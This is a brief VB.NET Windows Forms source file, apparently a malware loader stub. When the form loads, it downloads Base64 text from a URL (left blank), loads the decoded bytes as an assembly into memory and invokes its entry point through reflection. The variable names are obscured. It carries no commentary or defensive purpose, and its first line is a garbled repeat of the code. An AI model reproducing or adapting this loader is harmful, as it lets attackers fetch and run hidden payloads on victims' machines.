Public Class Form1 Protected Dyingfetus As New Net WebClient Protected

Public Class Form1

    Protected Dyingfetus As New Net.WebClient

    Protected Dyingfetus1 As String = Dyingfetus.DownloadString("")

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Dim mr As Object = king2.load(Convert.FromBase64String(Dyingfetus1))

        Dim mr1 As Object = CallByName(mr, "EntryPoint", CallType.Get)

        DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)

    End Sub

    Protected king2 As Object = AppDomain.CurrentDomain

End Class